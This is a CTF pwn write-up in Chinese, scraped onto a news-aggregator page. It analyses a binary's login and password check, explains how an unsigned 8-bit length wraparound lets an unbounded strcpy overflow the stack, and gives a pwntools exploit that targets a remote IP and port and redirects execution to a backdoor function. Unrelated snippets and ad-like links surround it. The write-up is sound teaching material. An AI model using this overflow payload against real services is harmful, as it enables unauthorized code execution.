当前位置: 首页 > news >正文

hon 的王牌数据结构之一,掌握它们,你的代码会更简洁更高效。 参考文章: Python 使用 Dict 和 Set | 简单一点学 ...

卦业局型file,checksec:

image

main函数:

image

login函数:

image

程序先让用户输入用户名,并存储到变量 s 中,之后再从 s 中读取 0x19 位,并打印出来。然后让用户输入密码,读取 0x199 个字节存储到 buf 缓冲区,然后检查 buf。

check_passwd函数:

image

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

以下参考 1000x_ 师傅的文章:

无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。

攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。

查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108。

因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间。

exp:

from pwn import *

from LibcSearcher import *

#start

r = remote('61.147.171.103',59035)

elf = ELF('./pwn')

context.log_level = 'debug'

#params

backdoor_addr = elf.symbols['what_is_this']

#attack

payload = b'a'*(0x14+4) + p32(backdoor_addr)

payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`

r.sendlineafter(b'choice',b'1')

r.sendlineafter(b'username',b'111')

r.sendlineafter(b'passwd',payload)

r.interactive()

http://www.jsqmd.com/news/439648/

相关文章:

  • 隐私保护手机推荐排行榜:这五款守护数字生活
  • 『NAS』在群晖部署私有化简历制作-OpenResume
  • Flutter 三方库 universal_disk_space 的鸿蒙化适配指南 - 掌控磁盘空间精密监控、存储水位预警实战、鸿蒙级精密持久化专家
  • Linux VIRT-RES-SHR内存概念理解
  • [SDR] 基于两个 hackrf 实现连续波测速雷达
  • 清洁度检测分析系统厂家哪家强?苏州西恩士工业品质领先 - 工业设备研究社
  • 别再瞎找了!专科生专属降AIGC工具 —— 千笔·降AI率助手
  • 更复杂的代码,为何跑得快了倍?一次Draw Call优化引发的思考
  • FastAPI流式输出实战与避坑指南:让AI像人一样“边想边说”
  • Node.js 面试题
  • 强烈安利 9个降AIGC软件:自考降AI率必备工具深度测评
  • Vite 课程
  • 全屋定制如何省心?看看这些用户推荐的工作室,全屋定制/原木定制,全屋定制企业推荐 - 品牌推荐师
  • 2026清洁度检测分析设备多少钱一台?苏州西恩士工业报价及参数详解 - 工业设备研究社
  • TinyVue skills使用指南
  • 三亚靠谱领队阿鑫:官方数据背书的纯玩安心之选 - 速递信息
  • 清洁度检测分析仪哪家好?对比评测后推荐苏州西恩士工业 - 工业设备研究社
  • 2026年3月舆情监控公司推荐,专业服务与品牌保障口碑之选 - 品牌鉴赏师
  • 2026年3月双氧水浓度传感器厂家最新推荐,双氧水含量可靠测量 - 品牌鉴赏师
  • 如何为复杂产线选搬运机器人?2026年AMR厂家全面评测与推荐,直击兼容性与安全痛点 - 品牌推荐
  • 巴西化妆品原料商Assessa在中国区的代理商是谁 - 品牌排行榜
  • 2026年3月平膜压力传感器厂家最新推荐,平膜结构防堵易清洁 - 品牌鉴赏师
  • 2026年3月境外舆情监测公司推荐,专业服务与品牌保障口碑之选 - 品牌鉴赏师
  • LangChain组件 Memory 记忆
  • 2026年AMR搬运机器人厂家推荐:基于技术实力与交付效率的全方位排名 - 品牌推荐
  • QNX-8—QNX常用命令—top/hogs - Hello
  • HTML——用于UI自动化测试
  • 铜层测厚仪:5G通信、新能源汽车等制造的必要工具
  • 2026年Assessa代理商哪家好?实力企业合作案例参考 - 品牌排行榜
  • 2026年Assessa正规代理商推荐及合作价值解析 - 品牌排行榜